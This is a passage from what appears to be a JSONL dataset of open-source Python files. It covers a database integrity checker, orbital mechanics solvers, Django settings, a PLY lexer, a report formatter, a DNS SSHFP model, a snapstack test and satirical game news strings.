fact_relationship sample statements check each fact_id field\n# independently for each domain.\n\nbad_obs_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_1 = o.observation_id\nWHERE domain_concept_id_1 = 27 AND o.observation_id IS NULL\nLIMIT 1\n'''\nbad_obs_1_msg = 'searching for invalid observation ref in fact_id_1'\n\nbad_obs_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN observation o ON f.fact_id_2 = o.observation_id\nWHERE domain_concept_id_2 = 27 AND o.observation_id IS NULL\nLIMIT 1\n'''\nbad_obs_2_msg = 'searching for invalid observation ref in fact_id_2'\n\nbad_meas_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_1 = m.measurement_id\nWHERE domain_concept_id_1 = 21 AND m.measurement_id IS NULL\nLIMIT 1\n'''\nbad_meas_1_msg = 'searching for invalid measurement ref in fact_id_1'\n\nbad_meas_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN measurement m ON f.fact_id_2 = m.measurement_id\nWHERE domain_concept_id_2 = 21 AND m.measurement_id IS NULL\nLIMIT 1\n'''\nbad_meas_2_msg = 'searching for invalid measurement ref in fact_id_2'\n\nbad_visit_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_1 = v.visit_occurrence_id\nWHERE domain_concept_id_1 = 8 AND v.visit_occurrence_id IS NULL\nLIMIT 1\n'''\nbad_visit_1_msg = 'searching for invalid visit ref in fact_id_1'\n\nbad_visit_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN visit_occurrence v ON f.fact_id_2 = v.visit_occurrence_id\nWHERE domain_concept_id_2 = 8 AND v.visit_occurrence_id IS NULL\nLIMIT 1\n'''\nbad_visit_2_msg = 'searching for invalid visit ref in fact_id_2'\n\nbad_drug_1_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_1 = d.drug_exposure_id\nWHERE domain_concept_id_1 = 13 AND d.drug_exposure_id IS NULL\nLIMIT 1\n'''\nbad_drug_1_msg = 'searching for invalid drug ref in fact_id_1'\n\nbad_drug_2_sql = '''\nSELECT f.*\nFROM fact_relationship f\n LEFT JOIN drug_exposure d ON f.fact_id_2 = d.drug_exposure_id\nWHERE domain_concept_id_2 = 13 AND d.drug_exposure_id IS NULL\nLIMIT 1\n'''\nbad_drug_2_msg = 'searching for invalid drug ref in fact_id_2'\n\nlogger = logging.getLogger(__name__)\n\n\ndef check_fact_relationship(conn_str, output='both', pool_size=None):\n \"\"\"Check the referential integrity of the fact relationship table.\n\n Execute sql statements, in parallel, to inspect the fact relationship table\n for validity and format and log the results for user inspection. Return a\n boolean to indicate whether the table is valid or not. The `pool_size`\n parameter can optionally be used to control the number of parallel workers\n to use when executing the sql statements.\n\n If `output` is 'percent', count the total records and bad records in each\n of the three current fact domains. If no bad records are found, emit an\n info-level log message for each domain saying so. If any bad records are\n found, emit a warning-level log message with the results, for each domain.\n\n If `output` is 'samples', try to find one sample of a bad record in each\n domain for each fact id field and either emit an info-level log message\n saying that none were found or emit a warning-level log message with the\n results.\n\n If `output` is 'both', both sets of checks are run. This is the default.\n\n :param str conn_str: the connection string for the database\n :param str output: the type of checks to run and output to produce\n :param pool_size: the number of parallel workers to use\n :type pool_size: None or int\n :returns: whether the table is valid\n :rtype: bool\n :raises RuntimeError: if data is not returned from one of the sql queries\n \"\"\"\n\n logger.info({'msg': 'starting fact relationship check'})\n starttime = time.time()\n\n stmts = StatementSet()\n\n # Build appropriate set of statements based on output type.\n if output in ['percent', 'both']:\n\n stmts.add(Statement(tot_obs_sql, tot_obs_msg))\n stmts.add(Statement(tot_meas_sql, tot_meas_msg))\n stmts.add(Statement(tot_visit_sql, tot_visit_msg))\n stmts.add(Statement(tot_drug_sql, tot_drug_msg))\n stmts.add(Statement(bad_obs_sql, bad_obs_msg))\n stmts.add(Statement(bad_meas_sql, bad_meas_msg))\n stmts.add(Statement(bad_visit_sql, bad_visit_msg))\n stmts.add(Statement(bad_drug_sql, bad_drug_msg))\n\n\n if output in ['samples', 'both']:\n\n stmts.add(Statement(bad_obs_1_sql, bad_obs_1_msg))\n stmts.add(Statement(bad_obs_2_sql, bad_obs_2_msg))\n stmts.add(Statement(bad_meas_1_sql, bad_meas_1_msg))\n stmts.add(Statement(bad_meas_2_sql, bad_meas_2_msg))\n stmts.add(Statement(bad_visit_1_sql, bad_visit_1_msg))\n stmts.add(Statement(bad_visit_2_sql, bad_visit_2_msg))\n stmts.add(Statement(bad_drug_1_sql, bad_drug_1_msg))\n stmts.add(Statement(bad_drug_2_sql, bad_drug_2_msg))\n\n stmts.parallel_execute(conn_str, pool_size)\n\n results = {\n 'obs': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'meas': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'visit': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n 'drug': {'total': None, 'bad': None, 'percent': None,\n 'samples': [], 'valid': True},\n\n }\n\n for stmt in stmts:\n\n # Will raise RuntimeError if stmt.err is not None.\n check_stmt_err(stmt, 'fact relationship check')\n\n # Place results into intermediate data structure. Note that only the\n # data relevant to the output type will be populated and that only\n # statements which are expected to produce data are checked for it,\n # raising a RuntimeError if stmt.data is None or 0 length.\n\n sample = None\n\n if stmt.msg == tot_obs_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['obs']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_meas_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['meas']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_visit_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['visit']['total'] = stmt.data[0][0]\n\n elif stmt.msg == tot_drug_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['drug']['total'] = stmt.data[0][0]\n\n elif stmt.msg == bad_obs_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['obs']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_meas_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['meas']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_visit_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['visit']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_drug_msg:\n check_stmt_data(stmt, 'fact relationship check')\n results['drug']['bad'] = stmt.data[0][0]\n\n elif stmt.msg == bad_obs_1_msg:\n if len(stmt.data) > 0:\n domain = 'obs'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_obs_2_msg:\n if len(stmt.data) > 0:\n domain = 'obs'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_meas_1_msg:\n if len(stmt.data) > 0:\n domain = 'meas'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_meas_2_msg:\n if len(stmt.data) > 0:\n domain = 'meas'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_visit_1_msg:\n if len(stmt.data) > 0:\n domain = 'visit'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_visit_2_msg:\n if len(stmt.data) > 0:\n domain = 'visit'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_drug_1_msg:\n if len(stmt.data) > 0:\n domain = 'drug'\n field = 'fact_id_1'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n elif stmt.msg == bad_drug_2_msg:\n if len(stmt.data) > 0:\n domain = 'drug'\n field = 'fact_id_2'\n sample = dict(zip(stmt.fields, stmt.data[0]))\n\n if sample:\n results[domain]['samples'].append({'field': field,\n 'row': sample})\n\n # Calculate derived results.\n for domain, result in results.items():\n if result['bad'] and result['total']:\n result['percent'] = (result['bad'] * 100 // result['total'])\n\n if ((result['bad'] and result['bad'] > 0) or\n len(result['samples']) > 0):\n result['valid'] = False\n\n # Output messages based on results.\n if results['obs']['valid']:\n logger.info({\n 'msg': 'all fact relationship observation references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' observation references'},\n results['obs']))\n\n if results['meas']['valid']:\n logger.info({\n 'msg': 'all fact relationship measurement references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' measurement references'},\n results['meas']))\n\n if results['visit']['valid']:\n logger.info({\n 'msg': 'all fact relationship visit references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' visit references'},\n results['visit']))\n\n if results['drug']['valid']:\n logger.info({\n 'msg': 'all fact relationship drug references are valid'\n })\n else:\n logger.warn(combine_dicts({'msg': 'fact relationship table has bad'\n ' drug references'},\n results['drug']))\n\n # Overall fact relationship validity.\n valid = (results['obs']['valid'] and results['meas']['valid'] and\n results['visit']['valid'] and results['drug']['valid'])\n\n # Output summary message.\n logger.info({'msg': 'finished fact relationship check', 'valid': valid,\n 'elapsed': secs_since(starttime)})\n\n return valid\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"} {"text": "\"\"\" Functions to solve orbiting bodies problems.\r\nWritten by: Jeremie X. J. Bannwarth\r\n\"\"\"\r\nimport numpy as np\r\nfrom orbitutils.solvers import rkf45\r\n\r\n\r\ndef two_body_3d_rates(t, Y, m1=1., m2=.1):\r\n \"\"\"Find the state derivatives for the two body problem in 3D.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector.\r\n m1 : float\r\n Mass of the first body (kg).\r\n m2 : float\r\n Mass of the second body (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Extract vectors from state vector\r\n R1 = Y[0:3]\r\n R2 = Y[3:6]\r\n V1 = Y[6:9]\r\n V2 = Y[9:12]\r\n\r\n # Constants\r\n G = 6.64742e-11\r\n\r\n # Position vector of m2 relative to m1\r\n R = R2 - R1\r\n r = np.linalg.norm(R)\r\n\r\n # Compute derivatives\r\n F = np.zeros(Y.shape)\r\n F[0:3] = V1 # dR1/dt = V1\r\n F[3:6] = V2 # dR2/dt = V2\r\n F[6:9] = G * m2 * R / r**3\r\n F[9:12] = - G * m1 * R / r**3\r\n\r\n return F\r\n\r\n\r\ndef two_body_3d(R1_0, R2_0, V1_0, V2_0, m1, m2, tSpan=np.array([0., 10.0])):\r\n \"\"\" Compute the position and velocity of two bodies in 3D over time.\r\n\r\n Parameters\r\n ----------\r\n R1_0 : numpy.array\r\n Initial position of the first body.\r\n R2_0 : numpy.array\r\n Initial position of the second body.\r\n V1_0 : numpy.array\r\n Initial velocity of the first body.\r\n V2_0 : numpy.array\r\n Initial velocity of the second body.\r\n m1 : float\r\n Mass of the first body (kg).\r\n m2 : float\r\n Mass of the second body (kg).\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n Y0 = np.concatenate((R1_0, R2_0, V1_0, V2_0))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return two_body_3d_rates(t, Y, m1, m2)\r\n\r\n ys, ts = rkf45(rates, Y0, tSpan)\r\n\r\n return (ys, ts)\r\n\r\n\r\ndef n_body_3d_rates(t, Y, M):\r\n \"\"\"Find the state derivatives for the N body problem in 3D.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector.\r\n M : numpy.array\r\n Array of the masses of the N bodies (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Extract vectors from state vector\r\n n = M.shape[0]\r\n\r\n # Store the vectors for each mass in a different column\r\n R = np.reshape(Y[0:n * 3], (3, n), order='F')\r\n V = np.reshape(Y[n * 3:], (3, n), order='F')\r\n\r\n # Constants\r\n G = 6.67259e-11\r\n\r\n # Find acceleration\r\n A = np.zeros(V.shape)\r\n for m in range(n):\r\n R_m = R[:, m]\r\n R_other = np.delete(R, m, 1) - np.reshape(R_m, (3, 1))\r\n r_other = np.linalg.norm(R_other, axis=0)\r\n M_other = np.delete(M, m, 0)\r\n A[:, m] = np.sum(G * M_other * R_other / r_other**3, axis=1)\r\n\r\n # Assign the rates\r\n F = np.concatenate((np.reshape(V, (n * 3,), order='F'),\r\n np.reshape(A, (n * 3,), order='F')))\r\n return F\r\n\r\n\r\ndef n_body_3d(R_0, V_0, M, tSpan=np.array([0., 10.0])):\r\n \"\"\" Compute the position and velocity of N bodies in 3D over time.\r\n\r\n Parameters\r\n ----------\r\n R_0 : numpy.array\r\n Vector of initial positions of the N bodies in the form\r\n [x1 y1 z1 x2 y2 z2 ...]\r\n V_0 : numpy.array\r\n Vector of initial velocities of the N bodies in the form\r\n [vx1 vy1 vz1 vx2 vy2 vz2 ...]\r\n M : float\r\n Vector of masses (kg) in the form\r\n [m1 m2 m3 ...]\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n n = M.shape[0]\r\n Y0 = np.concatenate((np.reshape(R_0, (n * 3,), order='F'),\r\n np.reshape(V_0, (n * 3,), order='F')))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return n_body_3d_rates(t, Y, M)\r\n\r\n ys, ts = rkf45(rates, Y0, tSpan)\r\n\r\n return (ys, ts)\r\n\r\n\r\ndef orbit_rates(t, Y, m1, m2):\r\n \"\"\"Find the state derivatives for the relative orbit problem.\r\n\r\n m1 has a non-rotating cartesian coordinate frame.\r\n\r\n Parameters\r\n ----------\r\n t : float\r\n Time to evaluate the derivatives at.\r\n Y : numpy.array\r\n State vector (km or km/s).\r\n m1 : float\r\n Mass of body 1 (kg).\r\n m2 : float\r\n Mass of body 2 (kg).\r\n\r\n Returns\r\n -------\r\n F : numpy.array\r\n Array of state derivatives.\r\n \"\"\"\r\n # Store the vectors for each mass in a different column\r\n R = Y[0:3]\r\n RDot = Y[3:6]\r\n\r\n # Constants\r\n G = 6.67259e-20\r\n\r\n # Find acceleration\r\n mu = G * (m1 + m2)\r\n r = np.linalg.norm(R)\r\n RDDot = - R * mu / r**3\r\n\r\n # Assign the rates\r\n F = np.concatenate((RDot, RDDot))\r\n return F\r\n\r\n\r\ndef orbit(R_0, V_0, M, tSpan):\r\n \"\"\" Compute the position and velocity of m1 relative to m2.\r\n\r\n m1 has a non-rotating cartesian coordinate frame.\r\n\r\n Parameters\r\n ----------\r\n R_0 : numpy.array\r\n Initial position of m1 relative to m2 (km).\r\n V_0 : numpy.array\r\n Initial velocity of m1 relative to m2 (km/s).\r\n M : numpy.array\r\n Vector of masses (kg) in the form [m1 m2].\r\n tSpan : numpy.array\r\n Range of times to solve for.\r\n\r\n Returns\r\n -------\r\n ys : numpy.array\r\n State time response.\r\n ts : numpy.array\r\n Time vector.\r\n \"\"\"\r\n Y_0 = np.concatenate((R_0, V_0))\r\n\r\n # Create anonymous function to pass m1 and m2\r\n def rates(t, Y): return orbit_rates(t, Y, M[0], M[1])\r\n\r\n ys, ts = rkf45(rates, Y_0, tSpan)\r\n\r\n return (ys, ts)\r\n", "source": "JBannwarth/orbitutils", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\" Settings for the Experiment Data Depot. \"\"\"\n\n# import baseline settings included in EDD's git repo\nfrom .base import * # noqa\nfrom .auth import * # noqa\nfrom .celery import * # noqa\n\n# try to load overridden settings from local.py, if present\ntry:\n from .local import * # noqa\nexcept ImportError as e:\n print(\"Did not find local settings; did you rename settings/local.py-example?\")\n\n# After all settings are imported, do any necessary registration of values\ntry:\n from jbei.rest.auth import HmacAuth\n HmacAuth.register_key(ICE_KEY_ID, ICE_SECRET_HMAC_KEY) # noqa\nexcept ImportError as e:\n print(\"Failed to import REST authenticators; some features may not work.\")\nexcept Exception as e:\n print(\"Failed to register ICE authenticator; connection to ICE may not work: %s\" % e)\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"} {"text": "#coding: u8\n\nimport ply.lex as lex\n\ntokens = (\n 'WHITE',\n 'WHERE',\n 'INT',\n 'FLOAT',\n 'STR',\n 'DOT',\n 'COMMA',\n 'LPAREN',\n 'RPAREN',\n 'LBRACKET',\n 'RBRACKET',\n 'SELECT',\n 'AND',\n 'OR',\n 'NOT',\n 'IN',\n 'EQ',\n 'NE',\n 'GT',\n 'LT',\n 'GE',\n 'LE',\n 'KEYWORD',\n)\n\nt_WHITE = r'\\s+'\nt_DOT = r'\\.'\nt_COMMA = r'\\,'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\nt_LBRACKET = r'\\['\nt_RBRACKET = r'\\]'\nt_EQ = r'\\s*==\\s*'\nt_NE = r'\\s*!=\\s*'\nt_GT = r'\\s*\\>\\s*'\nt_LT = r'\\s*\\<\\s*'\nt_GE = r'\\s*\\>=\\s*'\nt_LE = r'\\s*\\<=\\s*'\n\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\ndef t_error(t):\n pass\n\ndef t_FLOAT(t):\n r'(\\+|\\-)?\\d+.\\d+'\n t.value = float(t.value)\n return t\n\ndef t_INT(t):\n r'(\\+|\\-)?\\d+'\n t.value = int(t.value)\n return t\n\ndef t_STR(t):\n r'\"(\\\\.|[^\"])*\"'\n t.value = eval(t.value)\n return t\n\ndef t_SELECT(t):\n r'select\\s+'\n return t\n\ndef t_WHERE(t):\n r'\\s+where\\s+'\n return t\n\ndef t_AND(t):\n r'\\s+and\\s+'\n return t\n\ndef t_OR(t):\n r'\\s+or\\s+'\n return t\n\ndef t_NOT(t):\n r'not\\s+'\n return t\n\ndef t_IN(t):\n r'in'\n return t\n\ndef t_KEYWORD(t):\n r'[a-zA-Z][a-zA-Z0-9_]*'\n return t\n\nlexer = lex.lex()\n\nif __name__ == '__main__':\n import sys\n data = sys.stdin.read()\n lexer.input(data)\n while True:\n token = lexer.token()\n if not token:\n break\n print token\n", "source": "lennon-guan/jselect", "license": "MIT"} {"text": "\"\"\"Handles summarizing and formatting results. Main class is CheckReport.\"\"\"\nimport base64\nfrom io import BytesIO\nimport os\nfrom PIL import Image\nfrom terminaltables import AsciiTable\nfrom typing import List\nfrom spot_check_files.checker import FileSummary\n\n\ndef _print_thumbs(summaries):\n try:\n from imgcat import imgcat\n except ImportError:\n return\n\n while summaries:\n # Combine images to show three per line in the output\n group = [s.result.thumb for s in summaries[0:3]]\n boxes = [i.getbbox() for i in group]\n if any(boxes):\n width = sum(b[2] - b[0] + 1 for b in boxes if b)\n height = max(b[3] - b[1] + 1 for b in boxes if b)\n img = Image.new('RGBA', (width, height))\n x = 0\n for i in range(len(group)):\n if boxes[i] is None:\n continue\n img.paste(group[i], (x, 0))\n x += boxes[i][2] - boxes[i][0] + 1\n imgcat(img)\n summaries = summaries[3:]\n\n\nclass _GroupStats:\n def __init__(self, name: str, summaries: List[FileSummary],\n comparison: List[FileSummary] = None):\n self.name = name\n self.count = len(summaries)\n self.size = sum(s.size for s in summaries)\n self.count_pct = ''\n self.size_pct = ''\n if comparison:\n self.count_pct = '{:.0%}'.format(self.count / len(comparison))\n self.size_pct = '{:.0%}'.format(\n self.size / sum(s.size for s in comparison))\n\n\nclass CheckReport:\n \"\"\"Formats and displays results from a CheckerRunner.\"\"\"\n def __init__(self, summaries: List[FileSummary]):\n self.summaries = summaries\n arch_summaries = [s for s in summaries\n if s.result.extracted\n and not s.result.errors]\n leaf_summaries = [s for s in summaries\n if s.result.errors or not s.result.extracted]\n skip_summaries = [s for s in leaf_summaries if s.result.skipped]\n # If we ever get something that was extracted then marked as skipped,\n # a Checker is misusing the Checker API.\n # TODO: enforce this better, somewhere else\n assert not [s for s in arch_summaries if s.result.skipped]\n self.err_summaries = [s for s in leaf_summaries if s.result.errors]\n self.thumb_summaries = [s for s in leaf_summaries if s.result.thumb]\n self.groups = [\n _GroupStats('Archives (without errors)', arch_summaries),\n _GroupStats('Files (excludes errorless archives)',\n leaf_summaries),\n _GroupStats('Skipped files', skip_summaries, leaf_summaries),\n _GroupStats('Files with thumbnails', self.thumb_summaries,\n leaf_summaries),\n _GroupStats('Files with ERRORS', self.err_summaries,\n leaf_summaries),\n ]\n\n by_rec = {}\n unrec_by_ext = {}\n for summary in leaf_summaries:\n if summary.result.recognizer is None:\n ext = summary.virtpath.suffix\n if ext not in unrec_by_ext:\n unrec_by_ext[ext] = []\n unrec_by_ext[ext].append(summary)\n else:\n rec = str(summary.result.recognizer)\n if rec not in by_rec:\n by_rec[rec] = []\n by_rec[rec].append(summary)\n\n for rec in sorted(by_rec.keys()):\n self.groups.append(_GroupStats(f'Recognized by {rec}',\n by_rec[rec], leaf_summaries))\n\n for ext in sorted(unrec_by_ext.keys()):\n if not ext:\n continue\n self.groups.append(_GroupStats(\n f'Unrecognized with extension {ext}',\n unrec_by_ext[ext], leaf_summaries))\n if '' in unrec_by_ext:\n self.groups.append(_GroupStats(\n 'Other unrecognized', unrec_by_ext[''], leaf_summaries))\n\n def print(self):\n \"\"\"Prints the report to the terminal.\n\n If using iTerm2, thumbnails are displayed; otherwise, they are\n not used.\n \"\"\"\n if os.environ.get('TERM_PROGRAM', None) == 'iTerm.app':\n _print_thumbs(self.thumb_summaries)\n\n for summary in self.err_summaries:\n print(f'ERRORS for {summary.virtpath}')\n for err in summary.result.errors:\n print(f'\\t{err}')\n print()\n\n stats = [('Group', 'Files', 'Size', '% Files', '% Size')]\n stats.extend((g.name,\n g.count,\n g.size,\n g.count_pct,\n g.size_pct) for g in self.groups)\n table = AsciiTable(stats)\n for i in range(1, 5):\n table.justify_columns[i] = 'right'\n print(table.table)\n\n def html(self) -> str:\n \"\"\"Returns an HTML version of the report, as a string.\"\"\"\n from jinja2 import Environment, PackageLoader, select_autoescape\n\n def thumburl(summary):\n data = BytesIO()\n summary.result.thumb.save(data, 'png')\n encdata = base64.b64encode(data.getvalue()).decode('utf-8')\n return f'data:image/png;base64,{encdata}'\n\n env = Environment(\n loader=PackageLoader('spot_check_files', '_templates'),\n autoescape=select_autoescape(['html']),\n trim_blocks=True)\n env.globals['thumburl'] = thumburl\n template = env.get_template('report.html')\n return template.render(vars(self))\n", "source": "brokensandals/spot_check_files", "license": "MIT"} {"text": "import re\nfrom gettext import gettext as _\n\nfrom django.db import models\nfrom django.core.exceptions import ValidationError\n\nfrom cyder.cydns.models import CydnsRecord, LabelDomainMixin\n\n\ndef validate_algorithm(number):\n if number not in (1, 2):\n raise ValidationError(\n \"Algorithm number must be with 1 (RSA) or 2 (DSA)\")\n\n\ndef validate_fingerprint(number):\n if number not in (1,):\n raise ValidationError(\"Fingerprint type must be 1 (SHA-1)\")\n\n\nis_sha1 = re.compile(\"[0-9a-fA-F]{40}\")\n\n\ndef validate_sha1(sha1):\n if not is_sha1.match(sha1):\n raise ValidationError(\"Invalid key.\")\n\n\nclass SSHFP(CydnsRecord, LabelDomainMixin):\n \"\"\"\n >>> SSHFP(label=label, domain=domain, key=key_data,\n ... algorithm_number=algo_num, fingerprint_type=fing_type)\n \"\"\"\n\n id = models.AutoField(primary_key=True)\n key = models.CharField(max_length=256, validators=[validate_sha1])\n algorithm_number = models.PositiveIntegerField(\n null=False, blank=False, validators=[validate_algorithm],\n help_text=\"Algorithm number must be with 1 (RSA) or 2 (DSA)\")\n fingerprint_type = models.PositiveIntegerField(\n null=False, blank=False, validators=[validate_fingerprint],\n help_text=\"Fingerprint type must be 1 (SHA-1)\")\n\n template = _(\"{bind_name:$lhs_just} {ttl} {rdclass:$rdclass_just} \"\n \"{rdtype:$rdtype_just} {algorithm_number} {fingerprint_type} \"\n \"{key:$rhs_just}\")\n\n search_fields = (\"fqdn\", \"key\")\n\n class Meta:\n db_table = 'sshfp'\n # unique_together = ('domain', 'label', 'txt_data')\n # TODO\n # _mysql_exceptions.OperationalError: (1170, \"BLOB/TEXT column\n # 'txt_data' used in key specification without a key length\")\n # Fix that ^\n\n def details(self):\n \"\"\"For tables.\"\"\"\n data = super(SSHFP, self).details()\n data['data'] = [\n ('Domain', 'fqdn', self.fqdn),\n ('Algorithm', 'algorithm_number', self.algorithm_number),\n ('Fingerprint Type', 'fingerprint_type', self.fingerprint_type),\n ('Key', 'key', self.key),\n ]\n return data\n\n def eg_metadata(self):\n \"\"\"EditableGrid metadata.\"\"\"\n return {'metadata': [\n {'name': 'fqdn', 'datatype': 'string', 'editable': True},\n {'name': 'algorithm', 'datatype': 'integer', 'editable': True},\n {'name': 'fingerprint_type', 'datatype': 'integer',\n 'editable': True},\n {'name': 'key', 'datatype': 'string', 'editable': True},\n ]}\n\n @classmethod\n def get_api_fields(cls):\n return super(SSHFP, cls).get_api_fields() + ['fingerprint_type',\n 'algorithm_number', 'key']\n\n @property\n def rdtype(self):\n return 'SSHFP'\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "import unittest\n\nfrom snapstack import Plan, Step\n\nclass SnapstackTest(unittest.TestCase):\n\n def test_snapstack(self):\n '''\n _test_snapstack_\n\n Run a basic smoke test, utilizing our snapstack testing harness.\n\n snapstack will install a \"base\" set of snaps, including\n keystone, nova and neutron, then run the step/s you specify\n below. You can modify the base if needed, per the instructions\n in the snapstack\n docs. (https://github.com/openstack-snaps/snapstack)\n\n '''\n step = Step(\n snap='{{ cookiecutter.repo_name }}',\n script_loc='./tests/',\n scripts=['{{ cookiecutter.repo_name }}.sh'],\n snap_store=False\n )\n plan = Plan(scripts=[step])\n plan.run()\n", "source": "openstack-snaps/cookiecutter", "license": "Apache-1.1"} {"text": "def get_level_1_news():\n\n news1 = 'Stars Wars movie filming is canceled due to high electrical energy used. Turns out' \\\n 'those lasers don\\'t power themselves'\n news2 = 'Pink Floyd Tour canceled after first show used up the whole energy city had for' \\\n 'the whole month. The band says they\\'ll be happy to play on the dark side of the town'\n news3 = 'A public poll shows people are spending more energy on electric heaters after the ' \\\n 'start of the cold war'\n news4 = \"9 in 10 people of your country do not know what the cold war is. The one who knows \" \\\n \"is in the military\"\n news5 = \"Scientists says that world temperatures are rising due to high number of home \" \\\n \"refrigerators being used worldwide. According to Mr. Midgley, all the earth's\" \\\n \" cold is being trapped inside 4 billion refrigerators\"\n news6 = \"Mr. Midgley published a new research where he's proved that ceiling and wall fans\" \\\n \" are causing hurricanes\"\n news7 = \"Mr. Midgley, again, says he's discovered a way to revert climate change: everybody\" \\\n \" should throw their refrigerator's ice cubes into the ocean\"\n news8 = \"After a whole year of snow falling almost in every corner of the world, Mr. \" \\\n \"Midgley says he knows nothing and announced his retirement\"\n news9 = \"Free nuclear fusion energy is a reality, says scientist, we just need to learn \" \\\n \"how to do it\"\n news10 = \"RMS Titanic reaches its destiny safely after hitting a small chunk of ice in\" \\\n \" the ocean\"\n news11 = \"All the Ice Sculptures business worldwide have declared bankruptcy, says\" \\\n \" World Bank\"\n news12 = \"After 'Star Wars: The Phantom Menace' script was leaked people are happy the \" \\\n \"franchise got canceled 30 years ago\"\n news13 = \"Microsoft's head says Windows95 will be the last one to ever be launched due to its\" \\\n \" low energy use\"\n news14 = \"Programmers for Climate Change Convention ends in confusion after fight over using\" \\\n \" tabs or spaces\"\n news15 = \"The series finale of Game of Thrones lowered the Public Well being index of your\" \\\n \" nation by x%\"\n news16 = \"Drake's song 'Hotline Bling' is under investigation for being related to higher\" \\\n \" temperatures in the US this year\"\n news17 = \"The blockbuster 'Mad Max: Fury Road' shows a sequel of the world we live in, \" \\\n \"says director\"\n news18 = \"Lost's last episode is an homage to our own world, which will also have a crappy \" \\\n \"ending, says fan\"\n news19 = \"Pearl Harbor movie filming canceled due to the harbor being flooded by the \" \\\n \"advancing ocean\"\n news20 = \"Award winning Dwight Schrute's movie 'Recyclops' to gain sequels: 'Recyclops \" \\\n \"Reloaded' and 'Recyclops Revolution'\"\n news21 = \"The Simpsons predicted nuclear power scandal in episode where Homer pushes big\" \\\n \" red button for no reason\"\n\n news = {\n 'news1': news1,\n 'news2': news2,\n 'news3': news3,\n 'news4': news4,\n 'news5': news5,\n 'news6': news6,\n 'news7': news7,\n 'news8': news8,\n 'news9': news9,\n 'news10': news10,\n 'news11': news11,\n 'news12': news12,\n 'news13': news13,\n 'news14': news14,\n 'news15': news15,\n 'news16': news16,\n 'news17': news17,\n 'news18': news18,\n 'news19': news19,\n 'news20': news20,\n 'news21': news21\n\n }\n\n return news\n\n\ndef get_level_2_news():\n\n news1 = \"Your X index is up Y% and your N index is down because of Z\"\n news2 = \"President PLAYER_NAME canceled Formula 1 race to save fuel, Public well being, \" \\\n \"acceptance and co2 emissions are down x%\"\n\n news = {\n 'news1': news1,\n 'news2': news2\n\n }\n\n return news\n\n\ndef get_level_3_news():\n news1 = \"Your X index is down Y% because of Z\"\n news2 = \"In order to save energy, President PLAYER_NAME sanctions law that prohibits people \" \\\n \"of ever ironing their clothes. People are so happy that public well being index is\" \\\n \" up x% and energy use is down y%\"\n\n news = {\n 'news1': news1,\n 'news2': news2\n\n }\n\n return news\n\n\ndef get_level_4_news():\n news1 = \"Your X index is down Y% and it also affected your Z index which is down N%\"\n\n news = {\n 'news1': news1\n\n }\n\n return news\n\n\ndef get_level_5_news():\n news1 = \"Your X index is down X%, XYZ thing just happened\"\n news2 = 